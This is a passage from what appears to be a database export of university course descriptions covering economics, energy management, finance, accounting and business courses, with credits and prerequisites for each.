analysis, production cost and profit analysis, market structures and decisions, project evaluation and analysis, economic growth, development and forecasting, collection analysis and presentation of economic data.</p><p>&nbsp;</p><p><strong>ECON 470: Development Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course is about economic growth of countries, structural changes, institutional development, economic policy and growth.</p><p>&nbsp;</p><p><strong>ECON 480: International Economics/Trade and Finance (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course covers structure of the world economy; world economy as a system of various national economies; globalization and world economic development; international financial systems; global capital markets; international trade; growth and trade; global institutions and world trade.</p><p>&nbsp;</p><p><strong>ECON 485: Introduction to Insurance (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>The course’s main approach to insurance as a risk-reducing institution defines its contents. The necessity of insurance in different fields of economic and social life is analyzed. Different types of insurance contracts, their features, auto insurance, health insurance, fire insurance, unemployment insurance, and retirement are studied. Risk management is emphasized.</p><p>&nbsp;</p><p><strong>ECON 520: Economic Models (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202</strong></p><p>The course includes such modern economic theories and models as theory of growth, neoclassic model and production function, Caldor’s theory of distribution, theory of demand and supply, dynamic model of market numbers’ behavior, Neumann - Gale model, and transition to new technology, model of mixed economy and equilibrium, analysis of comparative statistics, price regulation and time value, models.</p><p>&nbsp;</p><p><strong>ECON 600: Petroleum Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p><p>This course is a practical petroleum economics course which introduces students to the methods and practices the international oil industry uses to examine the economic viability of upstream oil and gas projects. The course covers cash flow analysis, economic indicators, depreciation and depletion models, economic analysis tools, sensitivity analysis and expected-value decisions, risk and economic decision analysis.</p><p>&nbsp;</p><p><strong>ECON 610: Engineering Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor&nbsp;</strong></p><p>This course is a practical engineering economics course, which introduces students the basic principles of economic analysis for application in the decision-making process. The course covers cash flow analysis, economic indicators, depreciation and depletion models, economic analysis tools, sensitivity analysis and expected-value decisions, risk and business decision analysis.</p><p>&nbsp;</p><p><strong>ECON 805: Advanced Mathematics for Economists (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 225</strong></p><p>This course covers the elements of mathematical analysis, optimization techniques, and linear and nonlinear programming, with applications to economics.</p><p>&nbsp;</p><p><strong>ECON 810: History of Economic Thought (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>This course deals with the development of the political economy from its origin through the twentieth century. The continuity of intellectual and economic thought and their relationship to changing social and political settings are stressed. A particular emphasis is placed on the Classical and neo-Classical theories and their critics.</p><p><br></p><p><strong>ECON 815:&nbsp;World Economy (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course provides an understanding of the major processes in the world economy.&nbsp; After finishing of the course students will be able to apply the global way of thinking to the analysis of the economical and political problems of the history and today of mankind.</p><p>Students will be acquainted with the global economic development problems, causes of economic crises, development peculiarities of the different groups of countries, regional integration and competitiveness processes, and activities of the international political and economical institutions.</p><p>&nbsp;</p><p><strong>ECON 820: Information Technology and Business (6 credits)<br>Prerequisite: None</strong></p><p>This course focuses on organization of computing resources, control and management of computer processing, and the future of computer-based information processing and application in business.</p><p>&nbsp;</p><p><strong>ECON 825: Economics of the Public Sector (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course provides an analysis of the role of government in the economy; survey of the problems of monopoly, government regulation, externalities, public goods, and income redistribution; emphasis on measuring the output and costs of government services.</p><p>&nbsp;</p><p><strong>ECON 830: Managerial Economics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: None</strong></p><p>This course focuses on an application of microeconomic principles to business decision-making. Economic theory and quantitative methods are applied to managerial decisions about pricing, production, profit maximization, capital budgeting, risk taking, and governmental restraints.</p><p>&nbsp;</p><p><strong>ECON 835: Theory of the Firm and Business Strategy (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>The course examines an application of microeconomic theory and industrial organization to topics for internal firm organization and strategic business decision-making. Topics include transactions cost analysis and empirical implications, multi-product cost concepts, vertical integration, product differentiation and product quality, durable goods pricing, innovation and patents, spatial competition, delivered pricing, prices discrimination, product building, network economies and information implications.</p><p>&nbsp;</p><p><strong>ECON 840: Economic Development (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>This course focuses on the economic growth of the countries. Course covers such topics as the theories of international trade and finance, monetary-macroeconomics, industrial organization and the new theory of the firm. It proceeds to the analysis of structural change, institutional development, economic policy and growth. The course covers a variety of advanced topics in econometrics. Standard theory is reviewed and extended. Subjects include maximum likelihood, limited dependent variables, method of moments estimation and simultaneous systems estimation.</p><p>&nbsp;</p><p><strong>ECON 844: Regional Economics (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course provides a comprehensive study of the development of the Azerbaijan economy and survey of the economic development of the neighboring countries with a special emphasis on the regional cooperation, recent development tendencies, structural changes, performance and institutional patterns.</p><p>&nbsp;</p><p><strong>ECON 845: Human Resources and Labor Markets (6 credits)<br>Prerequisite: None</strong></p><p>The course examines the operation of labor markets, the determination of labor supply, labor demand, and wages, and the impact that market forces and institutions have on the practice of human resources management and employment relations.</p><p>&nbsp;</p><p><strong>ECON 850: The Economics of Innovation and Entrepreneurship (6 credits)<br>Prerequisite: ECON 830</strong></p><p>This course is designed to present the economic analysis of innovation and entrepreneurship. The first part of the course focuses on innovation. The second part of the course focuses on the particular aspect of innovative activity – entrepreneurship and the role of new and small firms. Theories about Entrepreneurship are introduced. The emergence of the new industries and the performance of the entrepreneurial firms are examined.</p><p>&nbsp;</p><p><strong>ECON 855: Macroeconomic Analysis and Forecasting (6 credits)</strong></p><p><strong>Prerequisite: ECON 830</strong></p><p>The course covers the theory of aggregate demand and supply, sector demand functions (consumption, investment, and money), disequilibrium models, economic growth, inflation, unemployment and expectations, stabilization, and control, economic development analysis and forecasting.</p><p>&nbsp;</p><p><strong>ECON 860: Advanced Econometrics (6 credits)</strong></p><p><strong>Prerequisite: MGT 800</strong></p><p>This course provides a study of linear econometric methods. Subjects cover the classical linear regression model, generalized least squares and an introduction to a symptomatic distribution theory. Topics such as maximum likelihood testing, specification testing, violations of the classical assumption and dichotomous choice models will be examined. This course covers a variety of advanced topics in econometrics. Standard theory is reviewed and extended. Subjects include maximum likelihood, limited dependent variables, method of moments estimation, and simultaneous systems estimation.</p><p>&nbsp;</p><p><strong>&nbsp;ECON 880: International Trade (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>&nbsp;Prerequisite: MGT 828&nbsp;</strong></p><p>&nbsp;This course develops an understanding of the economic basis for trade. It also examines trade &nbsp;&nbsp;&nbsp;policies nations adopt, common markets, international resources flows and the multinational corporation.</p><p>&nbsp;</p><p><strong>EMGT 410: Energy Economics&nbsp;(6 credits)<br>Prerequisite: ECON 202 or ECON 315</strong></p><p>This course explores the role of energy in the economy, key aspects of energy supply and demand, energy markets, and public policies affecting energy markets. It discusses various aspects of the impact of oil, natural gas, electricity, and nuclear power sectors on economic development of countries.</p><p>&nbsp;</p><p><strong>EMGT 420: Environmental Management (6 credits)</strong></p><p><strong>Prerequisite: MGT 310</strong></p><p>The course provides an overview of environmental management systems and how environmental management systems can support environmental improvements at facilities that are subject to environmental regulations. The course focuses on pollution prevention techniques, processes, and technologies, as well as, environmental management systems. Topics also include industrial ecology, waste minimization, chemical and material substitution, and alternative technologies.</p><p>&nbsp;</p><p><strong>EMGT 425: Environmental Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course is designed to introduce the student a broad range of contemporary environmental problems. The role of economic development and social forces deter-mining environmental quality is explored. The effectiveness of different environmental policies and regulations are analyzed.</p><p>&nbsp;&nbsp;</p><p><strong>EMGT 805:&nbsp;Oil, Gas and Petrochemical Industries (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>Course provides a comprehensive review of the oil, gas and petrochemical industries history, basic theory, processes, production equipment, business operations, strategies and development tendencies.</p><p>&nbsp;</p><p><strong>EMGT 810: Energy Economics (6 credits)<br>Prerequisite: None&nbsp;</strong></p><p>This course explores the role of energy in the economy, key aspects of energy supply and demand, energy markets, and public policies affecting energy markets. It analyses key players in the energy economics and their role, rational formulation of energy policies and formation of energy markets. It discusses various aspects of the impact of oil, natural gas, electricity, and nuclear power sectors in energy economics and examines such important issues as energy taxation, price regulation, deregulation, energy efficiency, etc.</p><p>&nbsp;</p><p><strong>EMGT 812:&nbsp;Oil and Gas Economy (6 credits)<br>Prerequisite: None</strong></p><p>This course provides basic information on principles of functioning, mechanisms and forms of oil and gas markets, principles of transportation and pipelines economy, pricing issue, company social responsibility, contract issues, cash flow movement, Dutch disease, oil and gas funds.&nbsp; The topics on oil and gas contracts will be helpful for students in terms of understanding of the law and economic bases of government and company relationship. The oil and gas revenues management and sustainability issues in extractive industries are also discussed.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p><p><strong>EMGT 815: Energy Geopolitics and Global Energy Security (6 credits)</strong></p><p><strong>Prerequisite: None&nbsp;</strong></p><p>The course mainly concentrates on the global geopolitical issues and strategies concerning energy security. Main economic and political actors involved in the energy games, vulnerabilities of different countries and regions of the world in terms of energy security, and strategies applied to overcome these problems are studied thoroughly. Continuously changing agenda of global energy security is studied from up-to-date sources, and new challenges and opportunities are analyzed on a comparative basis.</p><p>This course explores energy geopolitics; global energy security; Caspian oil and gas; transportation of Caspian oil and gas; foreign investment; transnational corporations; oil and gas sector; oil strategy; oil fund; EITI initiative; BTC, SCP, Nabucco.</p><p>&nbsp;</p><p><strong>EMGT 820: Environmental Management (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course provides an overview of environmental management systems and how environmental management systems can support environmental improvements at facilities that are subject to environmental regulations. The course focuses on pollution prevention techniques, processes, and technologies, as well as, environmental management systems. Topics also include industrial ecology, waste minimization, chemical and material substitution, and alternative technologies.</p><p>&nbsp;</p><p><strong>EMGT 825: Energy Resources Management and Environmental Security (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course examines present and potential future energy trends. Energy usage and its impact on the environment are emphasized, as well as economic, technical, and political issues related with the management of energy resources are covered. The topics also include practical aspects of hazardous material and waste management in industry and other components of society, and resource recovery of hazardous waste streams.</p><p>&nbsp;&nbsp;</p><p><strong>EMGT 830: Energy Technology and Environment &nbsp;(6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course identifies basic energy system components, and investigates energy generation, transmission and distribution systems. It explores the fundamentals of energy consumption through analysis of energy use and its cost. The course will strike a balance between global energy flows and the details of energy use individuals. Other topics include the technology and infrastructure involved in energy use, the economics of energy use, and government policy regarding energy. Emphasis is placed on problem-solving and identifying ways to improve energy-efficiency through energy management at all levels. The course also explores advanced energy generation technologies such as solar, wind, geothermal, biomass, and fuel cells. Students learn how to assess the environmental, social, and economic impacts of various energy technology choices.</p><p>&nbsp;</p><p><strong>EMGT 835: Caspian Energy Resources and Socioeconomic Development of Caspian Countries (6 credits)<br>Prerequisite: None</strong></p><p>The main focus of this course is the study of Caspian energy resources and their impact in the socioeconomic development of Caspian countries. The course mainly analyzes the role and weight of each energy-rich Caspian country in the world total production, their future perspectives, as well as socioeconomic development strategies put forward by each country. It also mentions development strategies of other energy rich-countries of the world in a comparative framework and draws lessons from their experiences for the Caspian countries.</p><p>&nbsp;</p><p><strong>EMGT 840: Renewable Energy (8 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>The course introduces renewable energy technologies such as solar, wind, biomass, hydro, tidal, wave, geothermal and hybrid systems. The topics covered include the availability and integration of these energy types and technologies, how they work, their advantages, disadvantages, and limitations. The course also examines economic evaluation of renewable energy resources, the environmental consequences of energy conversion and how renewable energy can reduce air pollution and global climate change and why renewable energy is necessary for the sustainable future.</p><p><br></p><p><strong>EMGT 850: Operations Management and Logistics (8 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>Fundamental decisions and tradeoffs in control of a firm\'s operations: operations strategy, process analysis, product design and process selection, capacity planning, TQM, supply chain strategy, logistics strategy, resources planning, material requirements planning and material flow controlling, procurement, inventory control, sales and operations planning, global logistics, cross-functional integration (coordination and control); improving the performance of productive systems; and competing through technology and operations.</p><p>&nbsp;</p><p><strong>EMGT 860: Energy Project and Supply Chain Management (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course develops analytical and behavioral skills for effective energy project management. Students will learn how to create a project team and a work breakdown structure, estimate task times and costs, and allocate resources in an efficient way. A variety of energy project management cases will be studied. The course also cover topics on supply chain management activities, such as the production plan, master production schedules, materials requirement planning, and capacity planning. Warehouse planning and management, energy resources distribution and transportation, packaging and third party logistics are some of the issues discussed in this course.</p><p>&nbsp;</p><p><strong>FIN 310: Fundamentals of Financial Management (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Introduction to Financial Management, financial statements, clash flow, taxis, financial environment, fundamentals concepts, risk and return, time value of money, securities and their valuations, investment and financial decision, cost of capital, capital budgeting, capital management.</p><p>&nbsp;</p><p><strong>FIN 320: Corporate Finance (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This is an introductory course in the financial management of non-financial corporations and the role of interest rates and capital markets in the economy. Topics include the structure and analysis of financial statements, time value of money calculations (using financial calculators), stock and bond valuation of income-producing physical assets, determination of the cost of capital and the profitability of proposed investments in fixed assets, risk-return tradeoffs that must be considered in using financial leverage, and methods used in obtaining funds from the various capital markets.</p><p>&nbsp;</p><p><strong>FIN 350: Money, Banking and Financial Institutions (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course examines the structure of the Central Bank, its behavior, form, functions, instruments, goals; deposit creation, money demand and supply; determination of interest rate; understanding of financial instruments; financial institutions: banking firms, depository and non-depository institutions; money market; the structure of rates of return; the peculiarities of economics of money, banking and financial institutions of Azerbaijan Republic.</p><p>&nbsp;</p><p><strong>FIN 405: Commercial Loan Analysis (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Students examine financial statements and business characteristics to learn the information content of financial statements. Applications focus on how they can be used to identify the pattern of funds need for a business and the best financing vehicle to meet that need. The primary tools of analysis are financial statement construction, cash flow statements, financial ratios, common-sized statements, cash budgets, proforma statements, sustainable growth, rates, and cost – volume- profit analysis. The course develops an ability to evaluate the needs of a variety of companies that differ with respect to type, industry, profitability, growth, seasonality, cyclicality, and degree of distress.</p><p>&nbsp;</p><p><strong>FIN 410: Financial Management (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Valuation models, capital budgeting, cost of capital, capital structure, portfolio theory, capital asset pricing models, innovations in treasury management, and financial planning.</p><p>&nbsp;</p><p><strong>FIN 415: Public Finance (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course covers the following: tundamental principles of public finance. The logic of the budget process. Budget structures and institutions: federal and state-local. Capital budgeting, public infrastructure investment, and project evaluation. Budget methods and practices. Income taxes, taxes on goods and services, property taxes. Revenue from user fees, user charges, and sales by public monopolies. Revenue forecasts, revenue estimates, and tax expenditure budgets. Intergovernmental fiscal relations. Debt administration, cash management and employee retirement funds.</p><p>&nbsp;</p><p><strong>FIN 420: Investment Management (6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course explores the practical aspects of investment valuation and portfolio management in a global framework. The focus is on market microstructure, bond- and equity-portfolio management and overall asset allocation.</p><p>&nbsp;</p><p><strong>FIN 425: Commercial and Investment Banking&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>Course will examine in some details the principal businesses banks are involved in and see how different banks are pursuing different models.&nbsp; In particular, bank management, financial statements, the asset-liabilities structure, revenue earning features, and risk management of banks will be examined. In addition, their cost and return features, together with recent developments in the industry will be outlined. We will focus on a number of overarching themes, such as the interplay of regulatory changes, globalization, technological advances and financial innovation and the emergence of new markets.</p><p>&nbsp;</p><p><strong>FIN 430: Investments (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>The course combines practical application and theory. During the class sessions concept checks, numerical examples and boxed applications from the popular business press will be introduced. The course covers all of the important investment topics, provides understanding of the value of diversifying portfolios, principles of portfolio building, ways of efficient diversification. Efficient market hypotheses are also analyzed. Students analyze financial statements, study technical analysis and use these and other methods for security analysis.</p><p>&nbsp;</p><p><strong>FIN 435: Risk Management (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course aims to introduce students to the rationale, principles, process and main tools of risk management. Topics covered include the concept of risk, risk theory, risk measurement, corporate risks and the rationales of corporate risk management, risk management organization and process, and some key tools of risk management.</p><p>&nbsp;</p><p><strong>FIN 440: Financial Markets (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: FIN 310</strong></p><p>This course provides an understanding of the mechanisms of various financial markets, and institutions such as banks, stock exchanges and brokers. The course develops a critical awareness of the theoretical and practical problems associated with regulating financial markets, investigates how the market structures potentially cause and mitigate financial risk to market participants and end users.</p>'),(581,379,'en','Course Descriptions','Course Descriptions','<p><strong>ACC 210: Principles of Accounting&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: BSA 101</strong><br></p><p>This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p>&nbsp;</p><p><strong>ACC 310: Financial Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p>&nbsp;</p><p><strong>ACC 350: Accounting Information Systems (6 credits)</strong></p><p><strong>Prerequisite: ACC 210, BSA 210</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p>&nbsp;</p><p><strong>ACC 410: Managerial Accounting&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: FIN 310, ACC 210</strong></p><p>The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p>&nbsp;</p><p><strong>ACC 415: Statutory Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p>&nbsp;</p><p><strong>ACC 420: Financial Reporting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p>&nbsp;&nbsp;</p><p><strong>ACC 430: International Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p>&nbsp;</p><p><strong>ACC 440: Cost Accounting (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p>&nbsp;</p><p><strong>ACC 450: Auditing (6 credits)<br>Prerequisite: ACC 310</strong></p><p>The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p>&nbsp;</p><p><strong>ACC 490: Taxation&nbsp;(6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p>&nbsp;</p><p><strong>ACC 800: Accounting for Financial Decisions (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p>&nbsp;</p><p><strong>ACC 801: Financial Accounting (6 credits)&nbsp;&nbsp;</strong></p><p><strong>Prerequisites: None</strong></p><p>The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p>&nbsp;</p><p><strong>ACC 810: Auditing (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p>&nbsp;</p><p><strong>ACC 840: Management and Cost Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p>&nbsp;</p><p><strong>ACC 860: Accounting Information Systems&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p>&nbsp;</p><p><strong>ACC 870: International Accounting Practices (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p>&nbsp;</p><p><strong>ACC 880: Advanced Accounting Topics (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p>This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p>&nbsp;</p><p><strong>BSA 101: Introduction to Business&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>A basic background for the various fields of business; a general survey of the entire field of economics, business and management in the free enterprise system; concepts of business and management functions, organizational considerations, and decision-making processes. Explores areas of specialization in the business world; exposure to business in small-medium-large organizations.</p><p>&nbsp;</p><p><strong>BSA 205: Computer Applications for Economics and Business (6 credits)</strong></p><p><strong>Prerequisite: CMS 101</strong></p><p>This is a practical course on how to use a computer, especially the personal computer, as an economic and business problem-solving tool. The course is based on tools provided by Microsoft Office and plenty of examples of economic and business problems.</p><p>&nbsp;</p><p><strong>BSA 210: Computer Applications in Business&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: CMS 101</strong></p><p>This is a practical course on how to use a computer, especially the personal computer, as a business problem-solving tool. The course is based on tools provided by Microsoft Office and examples from accounting, finance and management courses.</p><p>&nbsp;</p><p><strong>BSA 215: Statistical Methods for Economics and Business (6 credits)</strong></p><p><strong>Prerequisite: MATH 101</strong></p><p>The course builds a foundation in statistics and develops applications of statistical tools to economic analysis. It includes: descriptive statistics, probabilities, estimation, and regression analysis. Cases and statistical packages support the course content.</p><p>&nbsp;</p><p><strong>BSA 250: Business Statistics (8 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 101</strong></p><p>The course builds a foundation on statistics and develops applications to business decision making. It includes: descriptive statistics, probabilities, estimation, and regression analysis. The course also provides a set of skills for achieving and maintaining statistical process control methods and problem-solving tools. Cases and micro-computer statistical packages support the course content.</p><p>&nbsp;</p><p><strong>BSA 410: Business Analysis&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: BSA 250, MATH 225</strong></p><p>The course combines statistical analysis, modeling and decision making approaches. Topics covered are: data collection, processing, analysis and interpretation; modeling, simulation and decision analysis.</p><p>&nbsp;</p><p><strong>BSA 435: Taxation Policy (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: LAW 305</strong></p><p>The study of fundamental income tax problems in business, investments and personal decisions; tax problems arising for business, corporations; shareholder\'s tax problems; current trends in law and taxation policy; comparative analyses of different countries.</p><p>&nbsp;</p><p><strong>BSA 440:&nbsp;&nbsp;Business Research (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course covers the main research tools applicable in applied business research. Basics of research problem formulation, research proposal, research design, different types of study, data collection and information sources, measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects of the course.</p><p>&nbsp;</p><p><strong>BSA 690: Information Technology for Decisions (6 credits)</strong></p><p><strong>Prerequisite: BSA 210</strong></p><p>The course has the main goal of providing students with applied knowledge in the use of information technology and systems in modern society, to learn how to make use of the most efficient programs in text processing, data management, spreadsheets and communications. Information nets, methods of information services in foreign trade, production management, the banking system (SWIFT), international tourism, and other topics will be examined.</p><p>&nbsp;</p><p><strong>BSA 880: Business Research Methods (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course covers the main research tools applicable in applied and theoretical business research. Research problem formulation, research proposal, research design, different types of study, data collection and information sources, 